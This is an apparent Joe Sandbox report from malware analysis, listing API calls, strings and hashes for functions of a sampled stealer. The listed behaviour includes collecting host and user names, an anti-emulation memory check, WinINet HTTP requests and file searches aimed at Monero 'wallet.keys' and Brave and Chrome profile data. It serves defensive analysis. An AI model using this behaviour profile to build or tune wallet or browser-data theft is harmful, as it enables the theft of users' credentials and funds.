Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: 9488b15a4c2fb44c92d25ebecd629d2741e0b851acc74ffd38a4e3da44068dac
Instruction ID: e6047ee838cd2441fdd43b6c577709179f768a697d95569d6d103a88d0d221e1
Opcode Fuzzy Hash: 9488b15a4c2fb44c92d25ebecd629d2741e0b851acc74ffd38a4e3da44068dac
Instruction Fuzzy Hash: 69F08230A40A09AFE701ABA0DC06BBE7B38FF15701F10C514F51BA31D1CBB05540DBA6

Function 001647B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00164839
InternetCrackUrlA.WININET(00000000,00000000), ref: 00164849

Strings

<, xrefs: 001647C9

Memory Dump Source

Source File: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: 536ab6e97ab0e76f924b74296eeefc22be9eeb87170f269aa1b11575ebade4a9
Instruction ID: 631b0a996b5146c00c6710e55822ced2554a5c4496a53e11df0f35cd8c33e9f7
Opcode Fuzzy Hash: 536ab6e97ab0e76f924b74296eeefc22be9eeb87170f269aa1b11575ebade4a9
Instruction Fuzzy Hash: 1C211DB1D00209ABDF14DFA4E845ADE7B79FF45320F108625F929A72D0EB706A09CF91

Function 001751F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0017A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0017A7E6

Part of subcall function 00166280: InternetOpenA.WININET(00180DFE,00000001,00000000,00000000,00000000), ref: 001662E1
Part of subcall function 00166280: StrCmpCA.SHLWAPI(?,00CCFC38), ref: 00166303
Part of subcall function 00166280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00166335
Part of subcall function 00166280: HttpOpenRequestA.WININET(00000000,GET,?,00CCF4B8,00000000,00000000,00400100,00000000), ref: 00166385
Part of subcall function 00166280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 001663BF
Part of subcall function 00166280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 001663D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00175228

Strings

ERROR, xrefs: 00175273
ERROR, xrefs: 0017521A

Memory Dump Source

Source File: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: f6e486dd62dc199252dfd92f46fc8372e0d875807b133804919cf52805abb2ef
Instruction ID: be6aa8e56cf84590dd0055bbd0dadad05247c9768142faf05d9a002b14d36b1c
Opcode Fuzzy Hash: f6e486dd62dc199252dfd92f46fc8372e0d875807b133804919cf52805abb2ef
Instruction Fuzzy Hash: 8211EF31910148A7CB18FF64DD52AED7739AFA0300F808168F81E5B592EF756B16CB92

Function 0054543B Relevance: 4.6, APIs: 3, Instructions: 77registryCOMMON

Download Yara Rule

APIs

RegOpenKeyA.ADVAPI32(80000001,?,?), ref: 005473D3
RegOpenKeyA.ADVAPI32(80000002,?,?), ref: 005473FA
GetNativeSystemInfo.KERNEL32(?), ref: 00547451

Memory Dump Source

Source File: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID: Open$InfoNativeSystem
String ID:
API String ID: 1247124224-0
Opcode ID: 606afdca8a0aa4d289dfc01fff92c314c0cc53e7dc7ee0f73291ca08e3b41813
Instruction ID: b774f0d1999e26a782358b48c756310f5e25e80d95589e1dd6b158287d0223af
Opcode Fuzzy Hash: 606afdca8a0aa4d289dfc01fff92c314c0cc53e7dc7ee0f73291ca08e3b41813
Instruction Fuzzy Hash: E531167100820E9FEF20DF60D948BEE3BA9FB05315F100926AD8186D41E7B65CA4DF59

Function 001778E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00177910
RtlAllocateHeap.NTDLL(00000000), ref: 00177917
GetComputerNameA.KERNEL32(?,00000104), ref: 0017792F

Memory Dump Source

Source File: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: cab35f0c2b354c3c0322440239e50427bdd53d0743d523c54e2b426488d3e967
Instruction ID: 720ffcd4807a07378f3c87fa0d685e688dc0cd88e20f39521ebdb6ef751d3066
Opcode Fuzzy Hash: cab35f0c2b354c3c0322440239e50427bdd53d0743d523c54e2b426488d3e967
Instruction Fuzzy Hash: AA0186B1904609EBC704DF94DD45BAABBBCFB05B25F104219F645E3280C3785904CBA2

Function 00161110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 0016112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 00161132
ExitProcess.KERNEL32 ref: 00161143

Memory Dump Source

Source File: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 4067759a4de749e34bd6e6673544d79c9be812e62501996fd3297c4353047251
Instruction ID: b0fffe7cd136a9b23de6f09a0ba4fc1974896a2c069e0ddebd2a530b5ec9e09a
Opcode Fuzzy Hash: 4067759a4de749e34bd6e6673544d79c9be812e62501996fd3297c4353047251
Instruction Fuzzy Hash: CDE0E671985308FFE7516BA09D0AB1D7A7CAB05B01F104154F709B61D0D7B52A50D699

Function 001610A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 001610B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 001610F7

Memory Dump Source

Source File: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 38f9a023ee89056a16b9c9f9d12e6c38e5e11a8942eceb541dbe6a692db06a13
Instruction ID: 910025d86fc9123abde8277d82b53aba7fa40563b9329931f61afd24b48371d1
Opcode Fuzzy Hash: 38f9a023ee89056a16b9c9f9d12e6c38e5e11a8942eceb541dbe6a692db06a13
Instruction Fuzzy Hash: 1FF0E971641304BBEB1496A49C49FBBB7ECD705715F300444F504E3280D6715E00CA50

Function 00161190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 001778E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00177910
Part of subcall function 001778E0: RtlAllocateHeap.NTDLL(00000000), ref: 00177917
Part of subcall function 001778E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0017792F

Part of subcall function 00177850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,001611B7), ref: 00177880
Part of subcall function 00177850: RtlAllocateHeap.NTDLL(00000000), ref: 00177887
Part of subcall function 00177850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0017789F

ExitProcess.KERNEL32 ref: 001611C6

Memory Dump Source

Source File: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: 7840af96bee8301ae6bf9ea0cc16a5597b718194df7913dec2cbbfb6227ca567
Instruction ID: 2a7757641742068cfdb339a180c318dde06f02c3af95ea125143a70571a28531
Opcode Fuzzy Hash: 7840af96bee8301ae6bf9ea0cc16a5597b718194df7913dec2cbbfb6227ca567
Instruction Fuzzy Hash: 07E012B695430163CB0177B1AC0AB2A32AC5B26345F084824FA0DD3552FB69E810C66A

Non-executed Functions

Function 001738B0 Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 001738CC
FindFirstFileA.KERNEL32(?,?), ref: 001738E3
lstrcat.KERNEL32(?,?), ref: 00173935
StrCmpCA.SHLWAPI(?,00180F70), ref: 00173947
StrCmpCA.SHLWAPI(?,00180F74), ref: 0017395D
FindNextFileA.KERNEL32(000000FF,?), ref: 00173C67
FindClose.KERNEL32(000000FF), ref: 00173C7C

Strings

%s%s, xrefs: 00173AAD
%s\%s\%s, xrefs: 00173A4A
%s\%s, xrefs: 00173A6F
%s\%s, xrefs: 0017397A
%s\*, xrefs: 001738C0

Memory Dump Source

Source File: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: 302095cf5d7d71358d32f7e62750fb4a701abfb942a83b5de906e782ce0a9952
Instruction ID: 94c8e6786789efb35e89f4a3217f51b402b3d82f5b4f39f71236d029d1266a5c
Opcode Fuzzy Hash: 302095cf5d7d71358d32f7e62750fb4a701abfb942a83b5de906e782ce0a9952
Instruction Fuzzy Hash: 9AA172B2900218ABDB65DFA4CC85FEE737CBF99300F048588A61D96141EB759B84CF62

Function 0016BE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0017A740: lstrcpy.KERNEL32(00180E17,00000000), ref: 0017A788

Part of subcall function 0017A920: lstrcpy.KERNEL32(00000000,?), ref: 0017A972
Part of subcall function 0017A920: lstrcat.KERNEL32(00000000), ref: 0017A982

Part of subcall function 0017A9B0: lstrlen.KERNEL32(?,00CC9188,?,\Monero\wallet.keys,00180E17), ref: 0017A9C5
Part of subcall function 0017A9B0: lstrcpy.KERNEL32(00000000), ref: 0017AA04
Part of subcall function 0017A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0017AA12

Part of subcall function 0017A8A0: lstrcpy.KERNEL32(?,00180E17), ref: 0017A905

FindFirstFileA.KERNEL32(00000000,?,00180B32,00180B2B,00000000,?,?,?,001813F4,00180B2A), ref: 0016BEF5
StrCmpCA.SHLWAPI(?,001813F8), ref: 0016BF4D
StrCmpCA.SHLWAPI(?,001813FC), ref: 0016BF63
FindNextFileA.KERNEL32(000000FF,?), ref: 0016C7BF
FindClose.KERNEL32(000000FF), ref: 0016C7D1

Strings

Brave, xrefs: 0016C102
Google Chrome, xrefs: 0016C634
Preferences, xrefs: 0016C11E
\Brave\Preferences, xrefs: 0016C1DB

Memory Dump Source

Source File: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: 4aa0f4a9e3d01d210777d8ea1a939e98a7ffda6a620fd36f3e8cdd5ba7d9ce76
Instruction ID: 78ae578aac134f62b97b8473275f396d0e35be09dcbca385f6e8d1f619271d76
Opcode Fuzzy Hash: 4aa0f4a9e3d01d210777d8ea1a939e98a7ffda6a620fd36f3e8cdd5ba7d9ce76
Instruction Fuzzy Hash: 06424672910104A7CB18FBB4DD96EEE737DAFA4300F808558B90E97191EF349B59CB92

Function 00174910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0017492C
FindFirstFileA.KERNEL32(?,?), ref: 00174943
StrCmpCA.SHLWAPI(?,00180FDC), ref: 00174971
StrCmpCA.SHLWAPI(?,00180FE0), ref: 00174987
FindNextFileA.KERNEL32(000000FF,?), ref: 00174B7D
FindClose.KERNEL32(000000FF), ref: 00174B92

Strings

%s\*, xrefs: 00174920
%s\%s, xrefs: 001749FB
%s\%s, xrefs: 001749A4

Memory Dump Source

Source File: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: fff5c2a10aacade98b93d61dfb51cbb01942dfcd813e975d413ab48051aab9d7
Instruction ID: 91fa0a5887ba407fb3517560a2502b5a63d9dfe65a99e67cfd6134acda4e6010
Opcode Fuzzy Hash: fff5c2a10aacade98b93d61dfb51cbb01942dfcd813e975d413ab48051aab9d7
Instruction Fuzzy Hash: 0D6186B2900618ABCB65EBA0DC45EEE737CBF59701F048588F60D96040EB75EB89CF91

Function 00174570 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00174580
RtlAllocateHeap.NTDLL(00000000), ref: 00174587
wsprintfA.USER32 ref: 001745A6
FindFirstFileA.KERNEL32(?,?), ref: 001745BD
StrCmpCA.SHLWAPI(?,00180FC4), ref: 001745EB
StrCmpCA.SHLWAPI(?,00180FC8), ref: 00174601
FindNextFileA.KERNEL32(000000FF,?), ref: 0017468B
FindClose.KERNEL32(000000FF), ref: 001746A0
lstrcat.KERNEL32(?,00CCFAF8), ref: 001746C5
lstrcat.KERNEL32(?,00CCE118), ref: 001746D8
lstrlen.KERNEL32(?), ref: 001746E5
lstrlen.KERNEL32(?), ref: 001746F6

Strings

%s\%s, xrefs: 0017461B
%s\*, xrefs: 0017459A

Memory Dump Source

Source File: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
